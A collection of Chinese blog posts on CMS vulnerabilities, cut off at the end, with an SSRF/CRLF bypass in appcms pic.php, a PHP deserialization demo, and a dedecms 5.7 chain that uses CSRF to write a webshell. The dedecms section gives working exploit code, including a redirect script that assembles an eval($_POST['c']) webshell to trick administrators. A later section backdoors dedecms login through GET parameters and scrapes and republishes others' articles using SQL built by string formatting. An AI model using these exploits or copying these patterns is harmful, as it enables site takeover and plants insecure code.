代码审计之 appcms SSRF 绕过漏洞

哎,之前的不发都快忘记了,觉得还是发上来吧。

官网:http://www.appcms.cc/
演示站点:http://www.topber.com/
下载最新安装包:http://www.appcms.cc/download/appcms_2.0.101.zip

安装好后看 pic.php 文件代码如下:

<?php
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
    $img_url=trim($_GET['url']);
    $img_url = base64_decode($img_url);
    $img_url=strtolower(trim($img_url));
    $_GET['type']=strtolower(trim($_GET['type']));
   
    $urls=explode('.',$img_url);
    if(count($urls)<=1) die('image type forbidden 0');
    $file_type=$urls[count($urls)-1];
   
    if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}

    if(strstr($img_url,'php')) die('image type forbidden 2');

    if(strstr($img_url,chr(0)))die('image type forbidden 3');
    if(strlen($img_url)>256)die('url too length forbidden 4');

    header("Content-Type: image/{$_GET['type']}");
    readfile($img_url);
   
} else {
    die('image not find!');
}

?>

下面一行一行分析:

<?php
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
    $img_url=trim($_GET['url']); //去掉空白字符
    $img_url = base64_decode($img_url); //把url参数做base64解码、说明传入时是base64编码的
    $img_url=strtolower(trim($img_url));//把img_url转化为小写
    $_GET['type']=strtolower(trim($_GET['type']));//把type转为小写
   
    $urls=explode('.',$img_url); //使用 . 分割 img_url,如果是1.png
if(count($urls)<=1) die('image type forbidden 0');//如果urls数组小于或者等于1,则终止输出image type forbidden 0

///pic.php?url=test&type=png,随便试试看

//也就是说首先要绕过这个流程,就必须要urls数组大于1才可以,也就是.做base64编码,然后.的左右要都不为空才可以;
//把 http://test.com 做base64编码后的值是 aHR0cDovL3Rlc3QuY29t 然后用这个值试试可否绕过第一部流程;
//访问 /pic.php?url=aHR0cDovL3Rlc3QuY29t&type=png

// 走到下面的流程了,继续看下面的代码;

   $file_type=$urls[count($urls)-1]; //取得数组倒数第一个值,这里是获取文件类型的哦
    if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}

//判断图片类型是不是’jpg’,’gif’,’png’,’jpeg’这几种,如果是的话什么都不做,如果不是的话则输出 image type foridden 1
//上面走到 image type foridden 1了,接着要加个图片类型,绕过这个流程;
//把http://test.com/1.png 做base64编码 aHR0cDovL3Rlc3QuY29tLzEucG5n 访问
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=png, 在这样是可以绕过这个流程,不过显示的不对了,成为正常访问图片的效果了;

//这里其实也存在一个浏览器的RFC标准问题、没按照标准来就容易出问题;

//要实现ssrf 这样是做不到了,换成php试试呢,
//把http://test.com/1.php 做base64编码 aHR0cDovL3Rlc3QuY29tLzEucGhw 访问
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=php

发现又回到了上面的流程、这样行不通。。。

//上面流程主要是判断图片类型的、 把http://test.com/1.png 做编码,这样是读png图片流,响应为php文件;
访问 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=php

发现在客户端是下载php的,而不是去解析php的,因为随便构造的,下载下来的文件是啥都没有。
//上面是把图片当作php文件去下载、 反过来试试呢

//把php文件当图片下载
把http://test.com/1.php 做编码;
访问 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=png
试过了还是不行、还是回到了上面的流程了、、、

因为在 url 参数中做了扩展名控制,所以不能任意文件下载,不然可以做base64编码做任意文件下载噢、还有一种情况存在的可能性,解析漏洞、试试看

把http://test.com/1.php%00.png 做编码是 aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==

访问:http://127.0.0.1/appcms/pic.php?url= aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==&type=png

// appcms 的设计还真是严谨、考虑的这么周到;终于到下一步了;
    if(strstr($img_url,'php')) die('image type forbidden 2');//这里看到了,防护了解析漏洞
    if(strstr($img_url,chr(0)))die('image type forbidden 3');//这里还判断了空字符截断
    if(strlen($img_url)>256)die('url too length forbidden 4');//还判断了 url长度不能大于256
    header("Content-Type: image/{$_GET['type']}");//这里是重点,type是响应类型,这个参数是可控的了
    readfile($img_url);//开始读文件
   
} else {
    die('image not find!');//如果没有设置url或者type走这里
}

代码分析完毕、、、、

之后考虑了下 /1.png 可以通过判断, 用/?1.png也可以通过判断,这就是问题所在了,/?1.png相当于/index.php?pic=1.png或者/index.html?pic=1.png,这样访问在没有获取这个参数时会忽略掉直接显示;试试看

随便找个站 http://v.qq.com/x/search/?q=1.png ,然后做base64编码;
aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n
访问:
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png

ok了、、、如果用火狐的话,需要分析这个文件流,内容都是文件流中,基于浏览器的解析机制不一样,可以换IE浏览器,直接查看返回的内容了;

作为极客、这样不算完成、过滤了空字符、还可以联想到 HTTP相应拆分漏洞,用他来显示出内容;
给个换行 测试url如下:
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png%0A%0Dtest

然后就可以内网漫游了、、、

python CGI程序部署在phpstudy共享Apache环境

找到 http.conf 添加下面配置:(如果存在则修改或者去掉注视修改即可)
默认配置目录:C:\phpStudy\Apache\conf\httpd.conf

# add cgi python
<Directory "C:/Users/administrator/Desktop/360_cgi-bin"> #设置目录的访问权限
    AllowOverride None
    Options Indexes FollowSymLinks ExecCGI
    Require all granted
</Directory>

<IfModule alias_module> #设置虚拟目录
ScriptAlias /cgi-bin/ "C:/Users/administrator/Desktop/360_cgi-bin"
</IfModule>

<IfModule mime_module> #定义处理的扩展名
AddHandler cgi-script .cgi .py
</IfModule>

<IfModule dir_module> #配置目录首索引文件
    DirectoryIndex index.html index.php index.htm l.php index.py
</IfModule>

上面仅是对独立主机,如果共享主机还要配置 vhosts.conf
(Include conf/vhosts.conf #这里引用了这个虚拟主机配置文件)
增加如下配置:

<VirtualHost *:80>
    DocumentRoot "C:\Users\administrator\Desktop\360_cgi-bin"
    ServerName 127.0.0.4
    ServerAlias
  <Directory "C:\Users\administrator\Desktop\360_cgi-bin">
      Options FollowSymLinks ExecCGI
      AllowOverride All
      Order allow,deny
      Allow from all
      Require all granted
  </Directory>
</VirtualHost>

其中127.0.0.4为要绑定的域名,修改完后需要重启apache,linux配置一样,估计问题会多一些;
http://127.0.0.4/index.py 必须设置py路径,编码和响应类型及空行

#!C:\python27\python.exe
# -*- coding: utf-8 -*-
print "Content-type:text/html"
print                               # 空行,告诉服务器结束头部
#!C:\python27\python.exe
# -*- coding: utf-8 -*-
print "Content-type:text/html"
print                               # 空行,告诉服务器结束头部
print '<html>'
print '<head>'
print '<meta charset="utf-8">'
print '<title>Hello Word - 我的第一个 CGI 程序!</title>'
print '</head>'
print '<body>'
print '<h2>Hello Word! 我是CGI程序</h2>'
print '</body>'
print '</html>'

PHP反序列化漏洞Demo

不同地方写的反序列化都不大一样,通俗易懂的几句话就可以概括了,对象注入漏洞

场景:如果在淘宝买东西,浏览了一些商品,需求是这些商品逻辑关系不存到数据库中,而还要保存这些商品以便用户下次打开还会保持现在的状态,这时就可以把这个用户对象做序列化,然后以文件形式保存或存到数据库,为啥不直接存到数据库中,每个用户都要有自己的关系表,这样会变得更加复杂了,使用序列化可以直接保存对象状态,也方便其他程序调用。

反序列化要满足2个条件:
1.在类中使用魔术方法做了敏感的操作;
2.可控制反序列化参数值;

在java中写的POP链,POP链就是说 class A 调用 class B 方法,然后 class B 可能还调用了其他方法,在其他方法中可以控制反序列化参数,而在 class A中含有魔术方法引用了不安全的函数,这就是一个POP链,链就是程序的流程是环环相扣的。

用php写一段 反序列化演示代码:

<?php
class Testdemo {
var $var = '';
function __destruct() {
eval($this->var);
}
}
unserialize($_GET['cmd']);

__destruct()是Testdemo类的析构函数(魔术方法),就是在对象消失的时候会调用这个方法,看上面代码只要控制了 变量 var 的值就行了,实际过程中需要构造POP链达到条件去触发这个漏洞。

下面构造 exp 代码:

include 'testdemo.php'
$exp = new Testdemo();  
$exp->var = "phpinfo();";
echo serialize($exp);
#O:7:"Testdemo":1:{s:3:"var";s:10:"phpinfo();";}

对象在序列化时,可以控制 var变量,而在对象消失时就可以触发魔术方法了,这就是反序列化漏洞了。

上面反序列化的形态是这样存在的:

__PHP_Incomplete_Class Object
(
    [__PHP_Incomplete_Class_Name] => Testdemo
    [var] => phpinfo();
)

然后exp就是:http://127.0.0.1/testdemo.php?cmd=O:7:”Testdemo”:1:{s:3:”var”;s:10:”phpinfo();”;}

实际中反序列化漏洞感觉用于绕waf是一种不错的选择,这种漏洞waf查不到,又不能阻止反序列化数据传入,waf就比较纠结了;
使用反序列化间接写入webshell,因为不是每次写shell都会绕过waf,就需要这样的中间漏洞打配合蛮好的。

灰盒测试之织梦dedecms 5.7 官网最新版 Getshell

很久之前一直用dedecms做二次开发、直接做模版就好了,偶尔要写原生的php代码与dede交互,简单的了解了下里面的model,并未深入,dedecms漏洞那么多、、、能不能也找出一个漏洞呢。 下载了官网最新的程序研究了下。

在前台有个提交友情链接的地方,链接是:/plus/flink_add.php,估计以前可能这里存在xss的吧。反正现在是修复了,不过发现传入的链接,在后台可以直接打开,这样就可以结合csrf进一步利用了。

dede-%e6%bc%8f%e6%b4%9e

然后这里网址的,默认有http://,也猜到了是提醒这是个http链接,后端没有判断,登陆后台看了下,果然是直接插入进去的:

<tr align="center" bgcolor="#FFFFFF" height="26" onMouseMove="javascript:this.bgColor='#FCFDEE';"onMouseOut="javascript:this.bgColor='#FFFFFF';">
          <td><input type='checkbox' name='aids' value='12' class='np'></td>
          <td><a href="http://&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;" target='_blank'>&amp;lt;sc&lt;x&gt;ript&amp;gt;alert(1)&amp;lt;/scr</a></td>
          <td><a href="http://&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;" target='_blank'><img src='&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;' width='88' height='31' border='0' /></a></td>
          <td>&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;</td>
          <td>2016-11-04</td>
          <td>未审核</td>
          <td>50</td>
          <td><a href='friendlink_edit.php?id=12&dopost=getedit'>[更改]</a><a href='friendlink_edit.php?id=12&dopost=delete'>[删除]</a></td>
        </tr>

这样证明了可以做诱导链接了,然后下一步要找csrf可利用的功能,在后台发现一个标签编辑功能里的,dedecms好多地方都是用requests获取的值,不区分get、post,原来是post的,如果post在这肯定构造不成功,get的话,就可以借助csrf一起getshell了。

csrf 诱导 exp链接:./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=hcaker.lib.php? #在当前路径执行这个get请求,写入一句话。

dede-csrf
然后就提交了,提交后,后台管理员看到的是这个样子的:

dede-csrf-exp

这里就看怎么诱导管理员点击了,一般人看不懂代码,如果点击了,会在 /include/taglib/ 目录下生成一句话 hacker.lib.php,有句话说好奇害死猫,确实是,天上那有掉馅饼的事,别贪便宜,不然容易出事。

就在最后要成功getshell的时候,发生了意外,发现网站名称的href字典限制了长度,把传入的./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=hcaker.lib.php截断为./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?ph,并没有过滤,看来是限制了字符个数、还是不放弃,产生了另一种好玩的想法,感觉要比这个好玩。

一般后台审核友情链接的人都会看下网站权重,然后决定是否通过审核,这一看就会触发漏洞了。通过分析,需要填一个真实的url,而这个url要获取到referer,然后拼接url重定向,这样就可以实现getshell了,而且还可以在后端做个邮件提醒。方便知道那个站已经getshell了。

然后开始写代码了,这里费了不少时间,主要是一个问题,把代码解析为字符串,用php试过转义、字符串转化等都不成功,最后用序列化函数成功了,但是不完整,程序员的做法应该是序列化和反序列化吧,然后我使用单个字符拼接,解决了问题,其实还可以用ascii码去搞定、原来那些写各种一句话的真不容易,要对语言的任何地方都要了解,不然遇到很多未知的问题。

$exp?= ‘tpl.php?action=savetagfile&actiondo=addnewtag&content=’.@eval($_POST[‘c’]).’&filename=hcaker.lib.php’;
//如果您有更好的办法,欢迎提供给我。
然后php做CSRF中转的代码如下:
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
//拼接 exp
$muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=hacker.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();

然后就重新开始咯,在友情链接里面添加exp友情链接:http://******.com/exp.php

对方只要访问了,就自动生成 include/taglib/hacker.lib.php噢、上面没有写e-mail通知代码。

getshell-dedecms
getshell-dedecms

之后发现有的cms会限制只允许输入域名,这也没关系,申请个域名,默认就是/index.php,一样可以getshell,还有的为了防止csrf,在请求中加了token令牌验证,这种是有可能被绕过的,绕过几率为80%,下次有机会实现js无刷新获取token令牌getshell。。。

Python爬虫结合dedecms自动采集发布

之前想实现一个爬虫,实时采集别人的文章,根据自己的规则去修改采集到的文章,然后自动发布。决定用dedecms做新闻发布,还可以自动生成html,自动把远程图片本地化等一些优点,为了安全,完全可以把前后台分离。
起初想用scrapy爬虫框架去实现,觉得定制开发的话用scrapy只能用到里面的一些基础的功能,有一些情况要跟着框架的规则走,如果自己写的话可以自己写规则去处理,也有优点爬虫、处理器等,最后还是自己写了一个demo。
首先分析需求,python做爬虫,dedecms做发布,起初先考虑了发布功能,实现了模拟登陆,或者研究dedecms的数据库设计,直接写到数据库,实际中没有这样去做,开始做模拟登陆的时候,需要改dedecms的代码去掉验证码,不然还要实现验证码识别,这个完全没有必要,因为要发布的是自己的网站,自己也有账户、密码、发布文章权限,然后就改了下dedecms的登陆功能,加了一个登陆接口,分析了dedecms的发布文章HTTP数据包。这块搞定了后就开始设计爬虫了,最后设计的感觉和scrapy的一些基础的处理机制很像。

做dedecms的登陆接口如下:
后台目录下的config.php 34行找到

/**
//检验用户登录状态
$cuserLogin = new userLogin();
if($cuserLogin->getUserID()==-1)
{
header(“location:login.php?gotopage=”.urlencode($dedeNowurl));
exit();
}
**/

改为下面
//http://127.0.0.2/dede/index.php?username=admin&password=admin

$cuserLogin = new userLogin();
if($cuserLogin->getUserID()==-1) {
if($_REQUEST['username'] != ''){
$res = $cuserLogin->checkUser($_REQUEST['username'], $_REQUEST['password']);
if($res==1) $cuserLogin->keepUser();
}

if($cuserLogin->getUserID()==-1) {
header("location:login.php?gotopage=".urlencode($dedeNowurl));
exit();
}
}

这样只要请求:http://127.0.0.2/dede/index.php?username=admin&password=admin 就可以得到一个sessionid,只要用这个sessionid去发布文章就可以了。

发布文章的HTTP数据包如下:
#http://127.0.0.2/dede/article_add.php
POST /dede/article_add.php HTTP/1.1
Host: 127.0.0.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.2/dede/article_add.php?cid=2
Cookie: menuitems=1_1%2C2_1%2C3_1; CNZZDATA1254901833=1497342033-1472891946-%7C1473171059; Hm_lvt_a6454d60bf94f1e40b22b89e9f2986ba=1472892122; ENV_GOBACK_URL=%2Fmd5%2Fcontent_list.php%3Farcrank%3D-1%26cid%3D11; lastCid=11; lastCid__ckMd5=2f82387a2b251324; DedeUserID=1; DedeUserID__ckMd5=74be9ff370c4536f; DedeLoginTime=1473174404; DedeLoginTime__ckMd5=b8edc1b5318a3923; hasshown=1; Hm_lpvt_a6454d60bf94f1e40b22b89e9f2986ba=1473173893; PHPSESSID=m2o3k882tln0ttdi964v5aorn6
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=—————————2802133914041
Content-Length: 3639
—————————–2802133914041
Content-Disposition: form-data; name=”channelid”

1
—————————–2802133914041
Content-Disposition: form-data; name=”dopost”

save
—————————–2802133914041
Content-Disposition: form-data; name=”title”

2222222222
—————————–2802133914041
Content-Disposition: form-data; name=”shorttitle”

—————————–2802133914041
Content-Disposition: form-data; name=”redirecturl”

—————————–2802133914041
Content-Disposition: form-data; name=”tags”

—————————–2802133914041
Content-Disposition: form-data; name=”weight”

100
—————————–2802133914041
Content-Disposition: form-data; name=”picname”

—————————–2802133914041
Content-Disposition: form-data; name=”litpic”; filename=””
Content-Type: application/octet-stream

—————————–2802133914041
Content-Disposition: form-data; name=”source”

—————————–2802133914041
Content-Disposition: form-data; name=”writer”

—————————–2802133914041
Content-Disposition: form-data; name=”typeid”

2
—————————–2802133914041
Content-Disposition: form-data; name=”typeid2″

—————————–2802133914041
Content-Disposition: form-data; name=”keywords”

—————————–2802133914041
Content-Disposition: form-data; name=”autokey”

1
—————————–2802133914041
Content-Disposition: form-data; name=”description”

—————————–2802133914041
Content-Disposition: form-data; name=”dede_addonfields”

—————————–2802133914041
Content-Disposition: form-data; name=”remote”

1
—————————–2802133914041
Content-Disposition: form-data; name=”autolitpic”

1
—————————–2802133914041
Content-Disposition: form-data; name=”needwatermark”

1
—————————–2802133914041
Content-Disposition: form-data; name=”sptype”

hand
—————————–2802133914041
Content-Disposition: form-data; name=”spsize”

5
—————————–2802133914041
Content-Disposition: form-data; name=”body”

2222222222
—————————–2802133914041
Content-Disposition: form-data; name=”voteid”

—————————–2802133914041
Content-Disposition: form-data; name=”notpost”

0
—————————–2802133914041
Content-Disposition: form-data; name=”click”

70
—————————–2802133914041
Content-Disposition: form-data; name=”sortup”

0
—————————–2802133914041
Content-Disposition: form-data; name=”color”

—————————–2802133914041
Content-Disposition: form-data; name=”arcrank”

0
—————————–2802133914041
Content-Disposition: form-data; name=”money”

0
—————————–2802133914041
Content-Disposition: form-data; name=”pubdate”

2016-09-06 23:07:52
—————————–2802133914041
Content-Disposition: form-data; name=”ishtml”

1
—————————–2802133914041
Content-Disposition: form-data; name=”filename”

—————————–2802133914041
Content-Disposition: form-data; name=”templet”

—————————–2802133914041
Content-Disposition: form-data; name=”imageField.x”

41
—————————–2802133914041
Content-Disposition: form-data; name=”imageField.y”

6
—————————–2802133914041–
#更新生成html请求
http://127.0.0.2/dede/task_do.php?typeid=2&aid=109&dopost=makeprenext&nextdo=

GET /dede/task_do.php?typeid=2&aid=109&dopost=makeprenext&nextdo= HTTP/1.1
Host: 127.0.0.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.2/dede/article_add.php
Cookie: menuitems=1_1%2C2_1%2C3_1; CNZZDATA1254901833=1497342033-1472891946-%7C1473171059; Hm_lvt_a6454d60bf94f1e40b22b89e9f2986ba=1472892122; ENV_GOBACK_URL=%2Fmd5%2Fcontent_list.php%3Farcrank%3D-1%26cid%3D11; lastCid=11; lastCid__ckMd5=2f82387a2b251324; DedeUserID=1; DedeUserID__ckMd5=74be9ff370c4536f; DedeLoginTime=1473174404; DedeLoginTime__ckMd5=b8edc1b5318a3923; hasshown=1; Hm_lpvt_a6454d60bf94f1e40b22b89e9f2986ba=1473173893; PHPSESSID=m2o3k882tln0ttdi964v5aorn6
Connection: keep-alive
Upgrade-Insecure-Requests: 1

通过上面数据包可以分析到如下结果:
POST http://127.0.0.2/dede/article_add.php
需要配置的参数:

channelid:1 #普通文章提交
dopost:save #提交方式

shorttitle:” #短标题
autokey:1 #自动获取关键词
remote:1 #不指定缩略图,远程自动获取缩略图
autolitpic:1 #提取第一个图片为缩略图
sptype:auto #自动分页
spsize:5 #5k大小自动分页
notpost:1 #禁止评论
sortup:0 #文章排序、默认
arcrank:0 #阅读权限为开放浏览
money: #消费金币0
ishtml:1 #生成html

title:”文章标题” #文章标题
source:”文章来源” #文章来源
writer:”文章作者” #文章作者
typeid:”主栏目ID2″ #主栏目ID
body:”文章内容” #文章内容
click:”文章点击量” #文章点击量
pubdate:”提交时间” #提交时间

然后开始模拟dedecms发布文章测试了,python代码如下:

#!/usr/bin/python
#coding:utf8
import requests,random,time

#访问登陆接口保持cookies
sid = requests.session()
login_url = "http://127.0.0.2/dede/index.php?username=admin&password=admin"
header = {    "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0",
"Referer"    :"http://127.0.0.2"
}

#登陆接口获取Cookies
loadcookies = sid.get(url = login_url,headers = header)

#进入增加文章页面
#get_html = sid.get('http://127.0.0.2/dede/article_add.php?channelid=1',headers = header)
#print get_html.content

#定义固定字段
article = {
'channelid':1, #普通文章提交
'dopost':'save', #提交方式
'shorttitle':'', #短标题
'autokey':1, #自动获取关键词
'remote':1, #不指定缩略图,远程自动获取缩略图
'autolitpic':1, #提取第一个图片为缩略图
'sptype':'auto', #自动分页
'spsize':5, #5k大小自动分页
'notpost':1, #禁止评论
'sortup':0, #文章排序、默认
'arcrank':0, #阅读权限为开放浏览
'money': 0,#消费金币0
'ishtml':1, #生成html
'click':random.randint(10, 300), #随机生成文章点击量
'pubdate':time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), #s生成当前提交时间
}

#定义可变字段
article['source'] = "文章来源" #文章来源
article['writer'] = "文章作者" #文章作者
article['typeid'] = "2" #主栏目ID

#定义提交文章请求URL
article_request = "http://127.0.0.2/dede/article_add.php"

"""
#测试提交数据
article['title'] = "测试_文章标题" #文章标题
article['body'] = "测试_文章内容" #文章内容
#提交后会自动重定向 生成html,http返回状态为200则成功!
res = sid.post(url = article_request,data = article, headers = header)
print res
"""
for i in range(50):
    article['title'] = str(i) + "_文章标题" #文章标题
    article['body'] = str(i) + "_文章内容" #文章内容
    #print article
    res = sid.post(url = article_request,data = article, headers = header)
    print res

其次就是分析爬虫需求阶段了,如下:

收集采集页面:

http://www.tunvan.com/col.jsp?id=115
http://www.zhongkerd.com/news.html
http://www.qianxx.com/news/field/
http://www.ifenguo.com/news/xingyexinwen/
http://www.ifenguo.com/news/gongsixinwen/

每一个采集页面和要改的规则都不一样,发布文章的栏目可能也有变化,要写多个爬虫,一个爬虫实现不了这个功能,要有爬虫、处理器、配置文件、函数文件(避免重复写代码)、数据库文件。

数据库里面主要是保存文章url和标题,主要是判断这篇文章是否是更新的,如果已经采集发布了就不要重复发布了,如果不存在文章就是最新的文章,需要写入数据库并发布文章。数据库就一个表几个字段就好,采用的sqlite3,数据库文件db.dll建表如下:

CREATE TABLE history (
id    INTEGER         PRIMARY KEY ASC AUTOINCREMENT,
url   VARCHAR( 100 ),
title TEXT,
date  DATETIME        DEFAULT ( ( datetime( 'now', 'localtime' )  )  )
);

架构设计如下:

│ db.dll #sqlite数据库
│ dede.py #测试dede登陆接口
│ function.py #公共函数
│ run.py #爬虫集开始函数
│ settings.py #爬虫配置设置
│ spiders.py #爬虫示例
│ sqlitestudio-2.1.5.exe #sqlite数据库编辑工具
│ __init__.py #前置方法供模块用

dede.py如下:

#!/usr/bin/python
#coding:utf8
import requests,random,time
import lxml

#定义域名
domain = "http://127.0.0.2/"
admin_dir = "dede/"
houtai = domain + admin_dir
username = "admin"
password = "admin"

#访问登陆接口保持cookies
sid = requests.session()
login_url = houtai + "index.php?username=" + username + "&password=" + password
header = {    "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0",
"Referer"    : domain
}

#登陆接口获取Cookies
loadcookies = sid.get(url = login_url,headers = header)

#定义固定字段
article = {
'channelid':1, #普通文章提交
'dopost':'save', #提交方式
'shorttitle':'', #短标题
'autokey':1, #自动获取关键词
'remote':1, #不指定缩略图,远程自动获取缩略图
'autolitpic':1, #提取第一个图片为缩略图
'sptype':'auto', #自动分页
'spsize':5, #5k大小自动分页
'notpost':1, #禁止评论
'sortup':0, #文章排序、默认
'arcrank':0, #阅读权限为开放浏览
'money': 0,#消费金币0
'ishtml':1, #生成html
'click':random.randint(10, 300), #随机生成文章点击量
'pubdate':time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), #s生成当前提交时间
}

#定义可变字段
article['source'] = "文章来源" #文章来源
article['writer'] = "文章作者" #文章作者
article['typeid'] = "2" #主栏目ID

#定义提交文章请求URL
article_request = houtai + "article_add.php"

"""
#测试提交数据
article['title'] = "11测试_文章标题" #文章标题
article['body'] = "11测试_文章内容" #文章内容
#提交后会自动重定向 生成html,http返回状态为200则成功!
res = sid.post(url = article_request,data = article, headers = header)
print res
"""

"""
for i in range(50):
    article['title'] = str(i) + "_文章标题" #文章标题
    article['body'] = str(i) + "_文章内容" #文章内容
    #print article
    res = sid.post(url = article_request,data = article, headers = header)
    print res
"""

function.py如下:

# coding:utf-8
from settings import *

#检查数据库中是否存在文章,0为不存在,1为存在
def res_check(article):
    exec_select = "SELECT count(*) FROM history WHERE url = '%s' AND title = '%s' "
    res_check = cur.execute(exec_select % (article[0],article[1]))
    for res in res_check:
        result = res[0]
    return result

#写入数据库操作
def res_insert(article):
    exec_insert = "INSERT INTO history (url,title) VALUES ('%s','%s')"
    cur.execute(exec_insert % (article[0],article[1]))
    conn.commit()

#模拟登陆发布文章
def send_article(title,body,typeid = "2"):
    article['title'] = title #文章标题
    article['body'] = body #文章内容
    article['typeid'] = "2"
    #print article
    #提交后会自动重定向 生成html,http返回状态为200则成功!
    res = sid.post(url = article_request,data = article, headers = header)
    #print res
    if res.status_code == 200 :
        #print u"send mail!"
        send_mail(title = title,body = body)
        print u"success article send!"
    else:
        #发布文章失败处理
        pass

#发邮件通知send_mail(收件,标题,内容)
def send_mail(title,body):
    shoujian = "admin@0535code.com"
    # 设置服务器,用户名、密码以及邮箱的后缀
    mail_user = "610358898"
    mail_pass="你的邮箱密码"
    mail_postfix="qq.com"
    me=mail_user+"<"+mail_user+"@"+mail_postfix+">"
    msg = MIMEText(body, 'html', 'utf-8')
    msg['Subject'] = title
    #msg['to'] = shoujian
    try:
        mail = smtplib.SMTP()
        mail.connect("smtp.qq.com")#配置SMTP服务器
        mail.login(mail_user,mail_pass)
        mail.sendmail(me,shoujian, msg.as_string())
        mail.close()
        print u"send mail success!"
    except Exception, e:
        print str(e)
        print u"send mail exit!"

run.py如下:

# -*- coding: utf-8 -*-
import spiders
    #开始第一个爬虫
    spiders.start()

settings.py如下:

# coding:utf-8
import re,sys,os,requests,lxml,string,time,random,logging
from bs4 import BeautifulSoup
from lxml import etree
import smtplib
from email.mime.text import MIMEText
import sqlite3
import HTMLParser

#刷新系统
reload(sys)
sys.setdefaultencoding( "utf-8" )
#定义当前时间
#now = time.strftime( '%Y-%m-%d %X',time.localtime())

#设置头信息
headers={       "User-Agent":"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36",
"Accept":"*/*",
"Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding":"gzip, deflate",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Connection":"keep-alive",
"X-Requested-With":"XMLHttpRequest",
}
domain = u"<a href='http://010bjsoft.com'>北京软件外包</a>".decode("string_escape") #要替换的超链接
html_parser = HTMLParser.HTMLParser() #生成转义器

########################################################dede参数配置

#定义域名
domain = "http://127.0.0.2/"
admin_dir = "dede/"
houtai = domain + admin_dir
username = "admin"
password = "admin"

#访问登陆接口保持cookies
sid = requests.session()
login_url = houtai + "index.php?username=" + username + "&password=" + password
header = {    "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0",
"Referer"    : domain
}

#登陆接口获取Cookies
loadcookies = sid.get(url = login_url,headers = header)

#定义固定字段
article = {
'channelid':1, #普通文章提交
'dopost':'save', #提交方式
'shorttitle':'', #短标题
'autokey':1, #自动获取关键词
'remote':1, #不指定缩略图,远程自动获取缩略图
'autolitpic':1, #提取第一个图片为缩略图
'sptype':'auto', #自动分页
'spsize':5, #5k大小自动分页
'notpost':1, #禁止评论
'sortup':0, #文章排序、默认
'arcrank':0, #阅读权限为开放浏览
'money': 0,#消费金币0
'ishtml':1, #生成html
'click':random.randint(10, 300), #随机生成文章点击量
'pubdate':time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), #s生成当前提交时间
}

#定义可变字段
article['source'] = "文章来源" #文章来源
article['writer'] = "文章作者" #文章作者

#定义提交文章请求URL
article_request = houtai + "article_add.php"

########################################################数据库配置

#建立数据库连接
conn = sqlite3.connect("db.dll")
#创建游标
cur = conn.cursor()

spiders.py如下:

# coding:utf-8
from settings import *
from function import *

#获取内容, 文章url,文章内容xpath表达式
def get_content( url = "http://www.zhongkerd.com/news/content-1389.html" , xpath_rule = "//html/body/div[3]/div/div[2]/div/div[2]/div/div[1]/div/div/dl/dd" ):
    html = requests.get(url,headers = headers).content
    tree = etree.HTML(html)
    res = tree .xpath(xpath_rule)[0]
    res_content = etree.tostring(res) #转为字符串
    res_content = html_parser.unescape(res_content) #转为html编码 输出
    res_content = res_content.replace('\t','').replace('\n','') #去除空格 .replace(' ',''),换行符,制表符
